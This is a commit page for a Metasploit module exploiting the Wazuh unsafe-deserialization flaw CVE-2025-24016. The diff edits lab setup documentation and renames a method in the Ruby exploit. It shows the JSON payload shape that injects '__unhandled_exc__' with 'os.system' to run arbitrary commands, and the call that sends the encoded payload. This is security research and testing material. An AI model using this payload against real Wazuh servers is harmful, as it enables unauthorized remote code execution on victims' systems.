Skip to content

Commit 3d0cfd0

Browse files
committed
update module + documentation based on review comments
1 parent abbcdda commit 3d0cfd0

File tree

2 files changed

+7
-23
lines changed

2 files changed

+7
-23
lines changed

documentation/modules/exploit/linux/http/wazuh_auth_rce_cve_2025_24016.md

Lines changed: 4 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
## Vulnerable Application
22
Wazuh is a free and open source platform used for threat prevention, detection, and response.
33
Starting in version `4.4.0` and prior to version `4.9.1`, an unsafe deserialization vulnerability allows for remote code
4-
execution on Wazuh servers. DistributedAPI parameters are a serialized as JSON and deserialized using `as_wazuh_object` in
4+
execution on Wazuh servers. DistributedAPI parameters are serialized as JSON and deserialized using `as_wazuh_object` in
55
`/var/ossec/framework/wazuh/core/cluster/common.py`. If an attacker manages to inject an unsanitized dictionary in DAPI
66
request/response, they can forge an unhandled exception (`__unhandled_exc__`) to evaluate arbitrary python code.
77
The vulnerability can be triggered by anybody with API access (compromised dashboard or Wazuh servers in the cluster) or,
@@ -16,25 +16,9 @@ See also this [attackerkb article](https://attackerkb.com/topics/piW0q4r5Uy/cve-
1616
### Installation steps to install the Wazuh Server application
1717
* Install `Docker` on your preferred platform.
1818
* Here are the installation instructions for [Docker Desktop on MacOS](https://docs.docker.com/desktop/install/mac-install/).
19-
* Create a empty directory (`wazuh-docker`).
20-
* Create the `generate-indexer-certs.yml` file in the directory.
21-
```yaml
22-
# Wazuh App Copyright (C) 2017, Wazuh Inc. (License GPLv2)
23-
version: '3'
24-
25-
services:
26-
generator:
27-
image: wazuh/wazuh-certs-generator:0.0.2
28-
hostname: wazuh-certs-generator
29-
volumes:
30-
- ./config/wazuh_indexer_ssl_certs/:/certificates/
31-
- ./config/certs.yml:/config/certs.yml
32-
```
33-
* Run the certificate creation script.
34-
```
35-
docker-compose -f generate-indexer-certs.yml run --rm generator
36-
```
37-
* Create the following `docker-compose.yml` file in the directory. This will automatically create a Wazuh server multi-node cluster.
19+
* Follow the steps to install [Wazuh multi-node](https://documentation.wazuh.com/current/deployment-options/docker/wazuh-container.html).
20+
* Change the `docker-compose.yml` file in the `multi-node` directory by adding the line `- "56000:55000"` to the ports configuration
21+
* of the wazuh.worker section to expose port `55000` to the outside world on port `56000`.
3822
* You can modify the `4.8.2` version in the `yml` file to pull different versions.
3923
```yaml
4024
# Wazuh App Copyright (C) 2017, Wazuh Inc. (License GPLv2)

modules/exploits/linux/http/wazuh_auth_rce_cve_2025_24016.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -17,7 +17,7 @@ def initialize(info = {})
1717
'Description' => %q{
1818
Wazuh is a free and open source platform used for threat prevention, detection, and response.
1919
Starting in version 4.4.0 and prior to version 4.9.1, an unsafe deserialization vulnerability
20-
allows for remote code execution on Wazuh servers. DistributedAPI parameters are a serialized
20+
allows for remote code execution on Wazuh servers. DistributedAPI parameters are serialized
2121
as JSON and deserialized using `as_wazuh_object` (in `framework/wazuh/core/cluster/common.py`).
2222
If an attacker manages to inject an unsanitized dictionary in DAPI request/response, they can
2323
forge an unhandled exception (`__unhandled_exc__`) to evaluate arbitrary python code.
@@ -101,7 +101,7 @@ def get_wazuh_version(api_token)
101101
end
102102

103103
# CVE-2025-24016: Command Injection leading to RCE via unsafe deserialization vulnerability
104-
def execute_command(cmd, _opts = {})
104+
def execute_payload(cmd, _opts = {})
105105
# {"__unhandled_exc__":{"__class__": "os.system", "__args__": ["cmd"]}}
106106
post_data = {
107107
__unhandled_exc__: {
@@ -139,6 +139,6 @@ def check
139139

140140
def exploit
141141
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
142-
execute_command(payload.encoded)
142+
execute_payload(payload.encoded)
143143
end
144144
end

0 commit comments

Comments
 (0)